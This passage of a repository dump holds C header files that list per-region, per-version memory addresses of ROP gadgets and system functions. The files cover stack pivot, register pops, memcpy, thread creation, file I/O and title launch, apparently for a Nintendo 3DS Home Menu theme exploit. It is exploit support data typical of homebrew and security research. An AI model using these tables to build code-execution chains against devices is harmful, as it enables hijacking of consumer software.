53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f60c
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f614
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f618
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f620
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f624
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/17415:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e528
 4 | #define POP_R1PC 0x00236efc
 5 | #define POP_R3PC 0x0010f538
 6 | #define POP_R2R6PC 0x0015040c
 7 | #define POP_R4LR_BXR1 0x0011a268
 8 | #define POP_R4R8LR_BXR2 0x00133380
 9 | #define POP_R4R5R6PC 0x0010d320
10 | #define POP_R4FPPC 0x0010ed3c
11 | #define POP_R4R8PC 0x0010d44c
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a220
14 | #define ROP_STR_R0TOR1 0x001120b4
15 | #define ROP_LDR_R0FROMR0 0x00118cdc
16 | #define ROP_ADDR0_TO_R1 0x0012b080
17 | 
18 | #define MEMCPY 0x00237418
19 | #define MEMSET32_OTHER 0x002337c4
20 | 
21 | #define svcControlMemory 0x002355ec
22 | #define svcSleepThread 0x0012b044
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b898
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b86c
28 | #define IFile_Write 0x00220c14
29 | 
30 | #define POP_R0PC 0x00157818
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e64
32 | #define ROP_CMPR0R1 0x002a1810
33 | #define ROP_INITOBJARRAY 0x0022be09
34 | #define svcCreateThread 0x0010e38c
35 | #define svcConnectToPort 0x001186f8
36 | #define svcGetProcessId 0x0012b028
37 | #define SRV_GETSERVICEHANDLE 0x00235644
38 | #define CFGIPC_SecureInfoGetRegion 0x001377b0
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b99c
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x00145874
42 | #define FS_MountSdmc 0x00118b68
43 | #define IFile_Open 0x0022b980
44 | #define IFile_Close 0x0022f718
45 | #define IFile_Seek 0x002213a0
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b420
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b028
50 | #define NSS_LaunchTitle 0x0023110c
51 | #define NSS_RebootSystem 0x0013738c
52 | #define GSPGPU_Shutdown 0x00119f1c
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/19456:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237004
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x00237520
19 | #define MEMSET32_OTHER 0x002338cc
20 | 
21 | #define svcControlMemory 0x002356f4
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b974
28 | #define IFile_Write 0x00220d1c
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f6c
32 | #define ROP_CMPR0R1 0x002a18e4
33 | #define ROP_INITOBJARRAY 0x0022bf11
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x0023574c
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022ba88
44 | #define IFile_Close 0x0022f820
45 | #define IFile_Seek 0x002214a8
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0fc
50 | #define NSS_LaunchTitle 0x00231214
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/20480:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237020
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x0023753c
19 | #define MEMSET32_OTHER 0x002338e8
20 | 
21 | #define svcControlMemory 0x00235710
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b990
28 | #define IFile_Write 0x00220d38
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f88
32 | #define ROP_CMPR0R1 0x002a1900
33 | #define ROP_INITOBJARRAY 0x0022bf2d
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235768
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022baa4
44 | #define IFile_Close 0x0022f83c
45 | #define IFile_Seek 0x002214c4
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b118
50 | #define NSS_LaunchTitle 0x00231230
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/21504:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237020
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x0023753c
19 | #define MEMSET32_OTHER 0x002338e8
20 | 
21 | #define svcControlMemory 0x00235710
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b990
28 | #define IFile_Write 0x00220d38
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f88
32 | #define ROP_CMPR0R1 0x002a1914
33 | #define ROP_INITOBJARRAY 0x0022bf2d
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235768
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022baa4
44 | #define IFile_Close 0x0022f83c
45 | #define IFile_Seek 0x002214c4
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b12c
50 | #define NSS_LaunchTitle 0x00231230
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/22528:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e554
 4 | #define POP_R1PC 0x00237050
 5 | #define POP_R3PC 0x0010f564
 6 | #define POP_R2R6PC 0x0015043c
 7 | #define POP_R4LR_BXR1 0x0011a294
 8 | #define POP_R4R8LR_BXR2 0x001333ac
 9 | #define POP_R4R5R6PC 0x0010d34c
10 | #define POP_R4FPPC 0x0010ed68
11 | #define POP_R4R8PC 0x0010d478
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a24c
14 | #define ROP_STR_R0TOR1 0x001120e0
15 | #define ROP_LDR_R0FROMR0 0x00118d08
16 | #define ROP_ADDR0_TO_R1 0x0012b0ac
17 | 
18 | #define MEMCPY 0x0023756c
19 | #define MEMSET32_OTHER 0x00233918
20 | 
21 | #define svcControlMemory 0x00235740
22 | #define svcSleepThread 0x0012b070
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b8c8
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b9c0
28 | #define IFile_Write 0x00220d68
29 | 
30 | #define POP_R0PC 0x00157848
31 | #define ROP_LDRR1R1_STRR1R0 0x00213fb8
32 | #define ROP_CMPR0R1 0x002a18e4
33 | #define ROP_INITOBJARRAY 0x0022bf5d
34 | #define svcCreateThread 0x0010e3b8
35 | #define svcConnectToPort 0x00118724
36 | #define svcGetProcessId 0x0012b054
37 | #define SRV_GETSERVICEHANDLE 0x00235798
38 | #define CFGIPC_SecureInfoGetRegion 0x001377dc
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b9cc
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001458a0
42 | #define FS_MountSdmc 0x00118b94
43 | #define IFile_Open 0x0022bad4
44 | #define IFile_Close 0x0022f86c
45 | #define IFile_Seek 0x002214f4
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b44c
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032d848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b0fc
50 | #define NSS_LaunchTitle 0x00231260
51 | #define NSS_RebootSystem 0x001373b8
52 | #define GSPGPU_Shutdown 0x00119f48
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032d738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032d73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032e604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032e60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032e610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032e618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032e61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/23554:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002372b4
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002377d0
19 | #define MEMSET32_OTHER 0x00233b7c
20 | 
21 | #define svcControlMemory 0x002359a4
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd0
26 | 
27 | #define IFile_Read 0x0022bca8
28 | #define IFile_Write 0x00220fb0
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x00214200
32 | #define ROP_CMPR0R1 0x002a1be8
33 | #define ROP_INITOBJARRAY 0x0022c245
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x002359fc
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bdbc
44 | #define IFile_Close 0x0022fb54
45 | #define IFile_Seek 0x0022173c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b4a8
50 | #define NSS_LaunchTitle 0x002314c4
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/24576:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002372b4
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x00150544
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002377d0
19 | #define MEMSET32_OTHER 0x00233b7c
20 | 
21 | #define svcControlMemory 0x002359a4
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9d0
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd0
26 | 
27 | #define IFile_Read 0x0022bca8
28 | #define IFile_Write 0x00220fb0
29 | 
30 | #define POP_R0PC 0x00157950
31 | #define ROP_LDRR1R1_STRR1R0 0x00214200
32 | #define ROP_CMPR0R1 0x002a1bf4
33 | #define ROP_INITOBJARRAY 0x0022c245
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x002359fc
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014bad4
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459ac
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bdbc
44 | #define IFile_Close 0x0022fb54
45 | #define IFile_Seek 0x0022173c
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b4b4
50 | #define NSS_LaunchTitle 0x002314c4
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/EUR/25600:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c8
 4 | #define POP_R1PC 0x002372cc
 5 | #define POP_R3PC 0x0010f578
 6 | #define POP_R2R6PC 0x0015055c
 7 | #define POP_R4LR_BXR1 0x0011a34c
 8 | #define POP_R4R8LR_BXR2 0x001334b8
 9 | #define POP_R4R5R6PC 0x0010d2d8
10 | #define POP_R4FPPC 0x0010ed7c
11 | #define POP_R4R8PC 0x0010d404
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a304
14 | #define ROP_STR_R0TOR1 0x001120f4
15 | #define ROP_LDR_R0FROMR0 0x00118dc0
16 | #define ROP_ADDR0_TO_R1 0x0012b1b8
17 | 
18 | #define MEMCPY 0x002377e8
19 | #define MEMSET32_OTHER 0x00233b94
20 | 
21 | #define svcControlMemory 0x002359bc
22 | #define svcSleepThread 0x0012b17c
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b9e8
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd0
26 | 
27 | #define IFile_Read 0x0022bcc0
28 | #define IFile_Write 0x00220fc8
29 | 
30 | #define POP_R0PC 0x00157968
31 | #define ROP_LDRR1R1_STRR1R0 0x00214218
32 | #define ROP_CMPR0R1 0x002a1c0c
33 | #define ROP_INITOBJARRAY 0x0022c25d
34 | #define svcCreateThread 0x0010e42c
35 | #define svcConnectToPort 0x00118738
36 | #define svcGetProcessId 0x0012b160
37 | #define SRV_GETSERVICEHANDLE 0x00235a14
38 | #define CFGIPC_SecureInfoGetRegion 0x001378e8
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014baec
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001459c4
42 | #define FS_MountSdmc 0x00118c4c
43 | #define IFile_Open 0x0022bdd4
44 | #define IFile_Close 0x0022fb6c
45 | #define IFile_Seek 0x00221754
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b3d8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b4cc
50 | #define NSS_LaunchTitle 0x002314dc
51 | #define NSS_RebootSystem 0x001374c4
52 | #define GSPGPU_Shutdown 0x0011a000
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f604
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f60c
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f610
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f618
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f61c
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/19476:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e5c0
 4 | #define POP_R1PC 0x00237040
 5 | #define POP_R3PC 0x0010f61c
 6 | #define POP_R2R6PC 0x001502c8
 7 | #define POP_R4LR_BXR1 0x0011a2c4
 8 | #define POP_R4R8LR_BXR2 0x001333dc
 9 | #define POP_R4R5R6PC 0x0010d3b8
10 | #define POP_R4FPPC 0x0010ee20
11 | #define POP_R4R8PC 0x0010d4e4
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a27c
14 | #define ROP_STR_R0TOR1 0x00112198
15 | #define ROP_LDR_R0FROMR0 0x00118d38
16 | #define ROP_ADDR0_TO_R1 0x0012b0dc
17 | 
18 | #define MEMCPY 0x0023755c
19 | #define MEMSET32_OTHER 0x00233914
20 | 
21 | #define svcControlMemory 0x00235730
22 | #define svcSleepThread 0x0012b0a0
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b754
25 | #define GSPGPU_SERVHANDLEADR 0x0033bfd8
26 | 
27 | #define IFile_Read 0x0022b9a8
28 | #define IFile_Write 0x00220d4c
29 | 
30 | #define POP_R0PC 0x001576d4
31 | #define ROP_LDRR1R1_STRR1R0 0x00213f9c
32 | #define ROP_CMPR0R1 0x002a19a8
33 | #define ROP_INITOBJARRAY 0x0022bf45
34 | #define svcCreateThread 0x0010e424
35 | #define svcConnectToPort 0x00118754
36 | #define svcGetProcessId 0x0012b084
37 | #define SRV_GETSERVICEHANDLE 0x00235788
38 | #define CFGIPC_SecureInfoGetRegion 0x0013780c
39 | #define ROP_COND_THROWFATALERR 0x001028e4
40 | #define GXLOW_CMD4 0x0014b858
41 | #define GSP_SHAREDMEM_SETUPFRAMEBUF 0x001457dc
42 | #define FS_MountSdmc 0x00118bc4
43 | #define IFile_Open 0x0022babc
44 | #define IFile_Close 0x0022f854
45 | #define IFile_Seek 0x002214d8
46 | #define ROP_LOADR4_FROMOBJR0 0x0010b4b8
47 | #define ROP_LDRR1_FROMR5ARRAY_R4WORDINDEX 0x001038c4
48 | #define ORIGINALOBJPTR_BASELOADADR 0x0032e848
49 | #define ROP_PUSHR4R8LR_CALLVTABLEFUNCPTR 0x0025b210
50 | #define NSS_LaunchTitle 0x0023125c
51 | #define NSS_RebootSystem 0x001373e8
52 | #define GSPGPU_Shutdown 0x00119f78
53 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_SLVAL 0x0032e738
54 | #define ROP_LOADR4_FROMOBJR0_CALLERFUNC_R9VAL 0x0032e73c
55 | #define FILEPATHPTR_THEME_SHUFFLE_BODYRD 0x0032f60c
56 | #define FILEPATHPTR_THEME_REGULAR_THEMEMANAGE 0x0032f614
57 | #define FILEPATHPTR_THEME_REGULAR_BODYCACHE 0x0032f618
58 | #define FILEPATHPTR_THEME_SHUFFLE_THEMEMANAGE 0x0032f620
59 | #define FILEPATHPTR_THEME_SHUFFLE_BODYCACHE 0x0032f624
60 | 


--------------------------------------------------------------------------------
/menurop_prebuilt/JPN/20487:
--------------------------------------------------------------------------------
 1 | #define STACKPIVOT_ADR 0x00100fb8
 2 | 
 3 | #define ROP_POPPC 0x0010e528
 4 | #define POP_R1PC 0x00236efc
 5 | #define POP_R3PC 0x0010f538
 6 | #define POP_R2R6PC 0x0015040c
 7 | #define POP_R4LR_BXR1 0x0011a268
 8 | #define POP_R4R8LR_BXR2 0x00133380
 9 | #define POP_R4R5R6PC 0x0010d320
10 | #define POP_R4FPPC 0x0010ed3c
11 | #define POP_R4R8PC 0x0010d44c
12 | 
13 | #define ROP_STR_R1TOR0 0x0011a220
14 | #define ROP_STR_R0TOR1 0x001120b4
15 | #define ROP_LDR_R0FROMR0 0x00118cdc
16 | #define ROP_ADDR0_TO_R1 0x0012b080
17 | 
18 | #define MEMCPY 0x00237418
19 | #define MEMSET32_OTHER 0x002337c4
20 | 
21 | #define svcControlMemory 0x002355ec
22 | #define svcSleepThread 0x0012b044
23 | 
24 | #define GSPGPU_FlushDataCache 0x0014b898
25 | #define GSPGPU_SERVHANDLEADR 0x0033afd0
26 | 
27 | #define IFile_Read 0x0022b86c
28 | #define IFile_Write 0x00220c14
29 | 
30 | #define POP_R0PC 0x00157818
31 | #define ROP_LDRR1R1_STRR1R0 0x00213e64
32 | #define ROP_CMPR0R1 0x002a1810
33 | #define ROP_INITOBJARRAY 0x0022be09
34 | #define svcCreateThread 0x0010e38c
35 | #define svcConnectToPort 0x001186f8
